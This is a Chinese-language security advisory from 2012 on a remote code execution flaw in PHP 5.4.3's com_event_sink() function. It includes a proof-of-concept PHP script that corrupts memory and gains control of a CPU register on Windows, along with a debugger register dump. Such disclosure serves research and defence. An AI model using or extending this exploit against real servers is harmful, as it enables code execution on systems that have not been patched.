PHP 5.4.3 'com_event_sink()' 远程代码执行漏洞


发布时间: 2012-05-11

漏洞版本:

PHP 5.4.3

漏洞描述:

BUGTRAQ  ID: 53642

PHP是一种HTML内嵌式的语言,PHP与微软的ASP颇有几分相似,都是一种在服务器端执行的嵌入HTML文档的脚本语言,语言的风格有类似于C语言,现在被很多的网站编程人员广泛的运用。

PHP 5.4.3中的函数com_event_sink()在实现时存在远程漏洞,可被远程攻击者利用在受影响的网络服务器中执行任意代码。
<* 参考
http://isc.sans.edu/diary.html?storyid=13255
*>

测试方法:

@Sebug.net   dis
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
  1. <?php
  2.  
  3. /*
  4.  
  5. PHP <= 5.4.3 (com_event_sink) Code Execution Proof of Concept
  6. Found by condis
  7. Website: http://cond.psychodela.pl
  8.  
  9. Tested on:
  10. PHP 5.3.8 + Windows XP SP3 Professional PL
  11. PHP 5.3.10 + Windows XP SP3 Professional PL
  12. PHP 5.4.0 + Windows XP SP3 Professional PL
  13. PHP 5.4.3 + Windows XP SP3 Professional PL
  14. Description:
  15.  
  16. This is a very strange bug and I had a really hard time trying to classify
  17. it, but lets start from the beginning.
  18. As we can read in PHP manual : com_event_sink function connects events from
  19. COM object to a PHP object. First argument should be a COM object. But when
  20. I set it up to new Variant(), PHP instance crashed.
  21. After few minutes of research it was clear to me that we can control EAX
  22. register by defining first parameter of our Variant object.
  23.  
  24. The proof of concept code located below should produce situation similar to
  25. this :
  26.  
  27. eax=024e0050 ebx=010328f0 ecx=41414141 edx=00c0facc esi=0121ff68 edi=00000000
  28. eip=100f33d5 esp=00c0faa8 ebp=00000000 iopl=0 nv up ei pl nz na po nc
  29. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
  30.  
  31. 100f33d4 50 push eax
  32. 100f33d5 8b01 mov eax,dword ptr [ecx] ds:0023:41414141=????????
  33. 100f33d7 ffd0 call eax
  34.  
  35. IMHO it is possible to write a reliable exploit using i.e.: ROP method but due
  36. to lack of free time and skill I leave this task to someone else. Also 0in tried
  37. to write stable exploit for same bug in com_print_typeinfo() function but as far
  38. as I know it isn't stable enough :(
  39.  
  40.  
  41. Greetz: cxib, 0in, and others ;>
  42.  
  43. */
  44.  
  45. $EAX = 0x024E0050; // stack starts at 0x024E0050 (in my case)
  46. $stack = str_repeat("x41", 0x1000000); // putting some garbage on the stack so the ECX would be 41414141
  47.  
  48. class foo { }
  49. com_event_sink(new Variant($EAX), new foo(), array());
  50.  
  51. ?>

安全建议:

厂商补丁:

PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

相关内容